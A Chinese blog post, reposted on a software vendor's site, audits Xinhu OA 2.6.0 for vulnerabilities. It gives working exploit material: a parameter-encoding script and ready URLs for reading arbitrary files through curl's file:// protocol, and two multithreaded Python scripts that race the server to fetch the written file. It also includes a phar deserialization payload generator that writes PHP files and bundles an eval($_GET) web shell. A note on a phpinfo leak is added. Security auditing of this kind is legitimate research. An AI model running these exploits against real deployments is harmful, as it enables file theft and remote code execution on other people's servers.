LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

开源OA慎用!信呼OA 2.6.0 的一次黑客攻击审计

admin
2024年7月2日 9:57 本文热度 1030

官网:

http://www.rockoa.com/

2.6.0版,下载链接:

http://www.rockoa.com/view_down.html

一次鸡肋的php审计成果。

环境搭建

php7.3.4,使用phpstudy搭建,开启debug模式,在php.ini最后添加以下内容:

[XDebug]

zend_extension="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug.dll"

xdebug.profiler_output_dir ="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\tmp\xdebug"

xdebug.trace_output_dir="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\tmp"

;是否开启自动跟踪

xdebug.auto_trace= 1

;启用性能检测分析

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

;是否开启远程调试

xdebug.remote_enable = 1

;调试插件dbgp

xdebug.remote_handler = "dbgp"

;允许调试的客户端IP(如果远程主机开放则填远程主机的ip)

xdebug.remote_host = "127.0.0.1"

;允许调试的端口

xdebug.remote_port = 9001

xdebug.remote_mode = "req"

;是否开启远程调试自动启动

xdebug.remote_autostart=1

xdebug.idekey = PHPSTORM

xdebug.remote_cookie_expire_time = 36000

max_execution_time=36000

max_input_time=36000

default_socket_timeout = 36000


apache配置文件最后加

ErrorDocument 510 /error/510.html

KeepAliveTimeout 5

MaxKeepAliveRequests 100

Timeout 36000

FcgidIOTimeout 36000

FcgidIdleTimeout 36000

IPCConnectTimeout 36000

IPCCommTimeout 36000

phpstrom配置debug:
设置debug监听的端口,地址,key。

 

 

设置debug的ip和端口。

 

最后添加debug服务。

 

文件读取漏洞(鸡肋,需要代码生成的随机秘钥)
index.php为入口文件,34行包含view.php。

 

view.php可以动态引用webmain目录下的各种文件。

 

我们顺着分析此漏洞,
asynrunAction.php存在downwxpicAction函数,并调用了downximg函数。

在69行,picurl参数被uncrypts函数解密。

 

然后又执行了uncrypts函数,这里是解密被加密的picurl参数。

asynrunAction.php中71行的m函数可以调用webmain/model下的文件,在rockFun.php中。

 

所以downximg函数在reimModel.php中,
在1579行,会先利用c函数去调用curlChajian.php的getcurl函数。

rockFun.php的c函数会调用到/include/chajian/目录下的文件。

 

curlChajian.php的getcurl函数,
75行设置url,90行,执行curl_exec函数,可以利用http,dict,file,gopher协议,
93行,返回访问的结果。

 

然后又回到reimModel.php的1580行,执行downChajian.php的createimage函数,
78行,利用file_put_contents函数保存文件,
88行和102行,如果我们生成的文件不满足条件,则会删除,
此时,就存在条件竞争,在同一时间大量访问此文件,再发送大量的请求,就有机会访问到我们的文件内容。

 

现在我们就需要构造url能调用到asynrunAction.php的downwxpicAction函数,
根据view.php,构造url,
http://192.168.0.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&asynkey=918b1e2c90b72136d2d863c02b602726 ,但是这里还缺一个加密后的picurl参数
这里的asynkey在asynrunAction.php中的构造函数中,
asynkey在webmainConfig.php文件中,
需要满足asynkey=md5(md5(asynkey)),
以此完整payload为:
http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726

 

 这里的原始asynkey后台也可以看(异步任务key,这里换了一个环境,导致异步任务key两次MD5加密与上面不一致)

 

payload:

攻击方式:
加密picurl参数传入,利用此脚本加密:
11行的payload参数利用file协议读取文件,自定义文件读取的路径。

import base64

a = "fdvzsakhgprcoxwuitjlbqynem"

b = {}

count = -1

for i in a:

    count = count + 1

    b[i] = count

print(b)

payload = "file:///D:/1.txt" 

# print(base64.b64encode(payload.encode()).decode())

payload_encode = ""

for z in payload:

    flag = False

    for i in b.keys():

        for j in b.keys():

            c = str(b[i]) + str(b[j])

            if chr(int(c)) == z:

                print(str(i) + ":" + str(j) + " 字母:" + z)

                payload_encode += (str(i) + str(j)) + "0"

                flag = True

                break

        if flag:

            break

print(payload_encode)

将加密的数据给picurl参数,

 

然后先执行此脚本(shiyan2.py),多线程访问系统自定义的文件名。

import requests

from datetime import datetime

import queue

import threading


#定义多线程类

class Thread_test(threading.Thread):

    def __init__(self, que):

        threading.Thread.__init__(self)

        self.que = que

    #执行多线程函数

    def run(self):

        while not self.que.empty():

            #从列队取出target

            target = self.que.get()

            self.upload(target)

    #需要多线程跑的函数

    def upload(self, target):

        # 获取当前时间

        now = datetime.now()

        try:

            url_jpg = "http://192.168.191.249:8044/upload/" + str(now.year) + "-" + str(now.month) + "/" + str(now.month)  + "_" + str(now.strftime("%H%M%S")) + target + ".jpg"

            url_request = requests.get(url_jpg)

            if url_request.status_code == 200:

                print(url_request.content.decode("utf-8"))

        except Exception:

            pass

def multi_thread(thread_count):

    getRLthread = []  # 线程列表

    que = queue.Queue()  # 定义队列变量

    for i in range(1,100):

        for target in range(0, 100):

            que.put(str(target).zfill(2))  # 添加目标到队列中

    for i in range(thread_count):  # 创建多线程

        getRLthread.append(Thread_test(que))

    for i in getRLthread:

        i.start()

    for i in getRLthread:

        i.join()

if __name__ == '__main__':

    multi_thread(100)

之后再执行此脚本(shiyan1.py),多线程访问此url使服务器生成文件。

import requests

from datetime import datetime

import queue

import threading


#定义多线程类

class Thread_test(threading.Thread):

    def __init__(self, que):

        threading.Thread.__init__(self)

        self.que = que

    #执行多线程函数

    def run(self):

        while not self.que.empty():

            #从列队取出target

            target = self.que.get()

            self.upload(target)

    #需要多线程跑的函数

    def upload(self, target):

        try:

            url = "http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726"

            requests.get(url)

        except Exception:

            pass

def multi_thread(thread_count):

    getRLthread = []  # 线程列表

    que = queue.Queue()  # 定义队列变量

    for target in range(0, 1000000):

        que.put(target)  # 添加目标到队列中

    for i in range(thread_count):  # 创建多线程

        getRLthread.append(Thread_test(que))

    for i in getRLthread:

        i.start()

    for i in getRLthread:

        i.join()

if __name__ == '__main__':

    multi_thread(10000)

最终效果:

 

访问到我们生成的文件内容。

 

后台信息泄露(鸡肋,phpinfo)
http://192.168.162.249:8044/index.php?m=index&a=phpinfo&ajaxbool=false

tableAction.php可拼接,$sql.=" $name";
但是堆叠注入时报错。

coginiAction.php

http://192.168.158.249:8044/index.php?d=task&m=login|api&a=downimg&ajaxbool=false
存在phar反序列化入口,还没有找到利用链。

反序列化漏洞(鸡肋,文件名截断后只能成生成空文件)
coginiAction.php的phpinisaveAction函数执行了file_exists函数,并且$path可控,
我们可以利用phar反序列化,就找到相关的反序列化利用链。

 

mysql.php的mysql类中存在__destruct()函数,此函数在对象被销毁时执行,
80行的$this->rock可控,设置为rockClass类。

 

76行需要开启sql日志。

 

就会进入rockClass类的createtxt函数。

 

回到mysql.php中,78行的$filstr可控(因为$this->rock->adminid可控),
它被拼接到文件名中,
文件名为:时间+$filstr+随机字符.log,
那么我们可以利用:来截断绕过,
$this->rock->now也可控,此变量被拼接到写入的内容中,
79行的$this->sqlarr不能为空数组。

 

使用phar生成phar文件时,需要将php.ini中的phar.readonly设置为0。

 

payload.php:

<?php

abstract class mysql{

    public $rock;

    public function __construct($set_rock)

    {

        $this->rock = $set_rock;

        $this->sqlarr = ["a", "b"];

    }

}


final class rockClass{

    public $adminid;

    public $now;

    public function __construct($set_adminid, $set_now)

    {

        $this->adminid = $set_adminid;

        $this->now = $set_now;

    }

}

$path = "1.php:";

$now = "\n<?php phpinfo(); ?>\n";


class mysqliClass extends mysql{

}


$payload = new mysqliClass(new rockClass($path, $now));

//echo base64_encode(serialize($payload));

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");


//将反序列化的对象放入该文件中

$phar->setMetadata($payload);


//phar本质上是个压缩包,所以要添加压缩的文件和文件内容

$phar->addFromString("test.php", "<?php @eval(\$_GET[v]);?>");

$phar->stopBuffering();

访问payload.php生成了phar.phar,将phar.phar改成phar.jpg,
之后在后台更改头像处上传phar.jpg文件。

 

返回路径:upload\/2023-12\/14_15164671.jpg

 

之后访问存在phar反序列化的url,
http://192.168.105.249:8044/index.php?d=system&m=cogini&a=phpinisave&ajaxbool=false
post:
path=phar://D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\ccc.com\xinhu-master\upload\2023-12\14_15164671.jpg\test.php

 

生成成功。


该文章在 2024/7/2 10:00:26 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved